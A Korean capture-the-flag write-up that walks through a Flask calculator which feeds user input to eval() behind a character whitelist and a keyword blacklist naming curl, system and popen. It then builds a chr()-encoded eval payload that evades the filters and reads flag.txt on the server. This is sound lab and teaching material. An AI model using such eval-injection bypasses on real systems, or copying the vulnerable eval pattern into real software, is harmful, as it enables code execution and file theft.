덧셈만 하는 계산기
#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re
app = Flask(__name__)
def filter(formula):
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
w_list.extend([" ", ".", "(", ")", "+"])
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
formula = request.form.get("formula", "")
if formula != "":
if filter(formula):
return render_template("index.html", result="Filtered")
else:
try:
formula = eval(formula)
return render_template("index.html", result=formula)
except subprocess.CalledProcessError:
return render_template("index.html", result="Error")
except:
return render_template("index.html", result="Error")
else:
return render_template("index.html", result="Enter the value")
app.run(host="0.0.0.0", port=8000)
filtering
- 문자열(대소문자,숫자), 공백 , 괄호, "+", . 일치하는게 없으면 True
- system,curl.flag,subprocess,popen 이 대소문자 관계 없이 있으면 Ture
- re.I는 대소문자 구분 없이 검사하는 플래그 값
POST 를 통해 formula로부터 값을 가져오는데 이 formula에 필터링이 걸리지 않을 경우
eval 함수를 통해 값을 계산하여 다시 돌려준다.
그렇다면 두 가지 조건을 만족 해야 한다.
- 필터링 통과
- eval함수가 악성코드를 실행 해야 한다.
우선 악명높은 eval함수를 살펴보자
python docs(eval)
위 사이트를 참고 하였다
eval(expression, globals=None, locals=None)
- parameter
- expression -Python 표현식
- globals = None - 전역변수
- locals = None -지역변수
globals, locals 에는 expression에 사용될 전역 네임스페이스,지역 네임스페이스를 지정할 수 있다.
python 네임 스페이스 탐색 순서(LEGB)
LOCAL > Enclosing (중첩된 함수의 경우 바깥쪽부터) > Global > Built-in(python 내장)
eval함수는 python 표현식을 그대로 실행한다.
악성 코드를 전달하여 서버에서 실행시킬 수 있다는 것을 의미한다.
이를 막기위해 아래와 같은 방법을 쓸순 있지만 권고 사항은 eval 함수를 사용 안하는게 가장 best-practice라고 볼 수 있다.
safe_globals = {"__builtins__": None}
user_input = "2 + 2"
result = eval(user_input, safe_globals)
위와 같이 지정하여 내장함수 접근을 막을 수 있으나 완벽하지 않다.
다시 문제로 돌아와서 python 함수를 그대로 실행하는 것이 eval함수 이니
python함수를 입력란에 넣어보면 어떻게 될지 확인해본다. 테스트로 chr(111)입력을 하니 o가 반환되었다.
그러나 eval이 시스템 함수를 바로 실행하는 것은 불가능하고 사용하려면 import os 가 필요하다.
따라서 cat flag를 eval함수안에 주입하여 시스템 함수를 실행하는 것은 불가능하다. 따라서 python 내장 함수를 사용해야한다.
필터링을 다시 살펴보면 open은 필터링이 안되어 있다.
다시 문제들을 정리해보면
필터링
whitelist-알파벳, 공백, (, ), +, .
balcklist-system,curl,flag,subprocess,popen
함수
formula = eval(formula)
open 명령어 사용
문제 파일을 보면 flag.txt는 app.py과 같은 경로에 존재한다.
open("flag.txt").read
문자열을 아스키 코드로 바꾸는 python
# 변환할 문자열
text = 'open("flag.txt").read()'
# 문자열의 각 문자를 아스키 코드로 변환하고 chr() 표현으로 변환
chr_representation = '+'.join([f"chr({ord(c)})" for c in text])
# 최종 결과 출력
print(chr_representation)
당연이 이렇게 만들어진 문자열을 그대로 저기에 넣으면 open("flag.txt").read()이런 문자열을 반환하여 줄 것이다.
따라서 위에서 생성된 문자열을 eval()로 감싸주어 입력하면 원하는 값을 얻을 수 있다.
eval(chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41))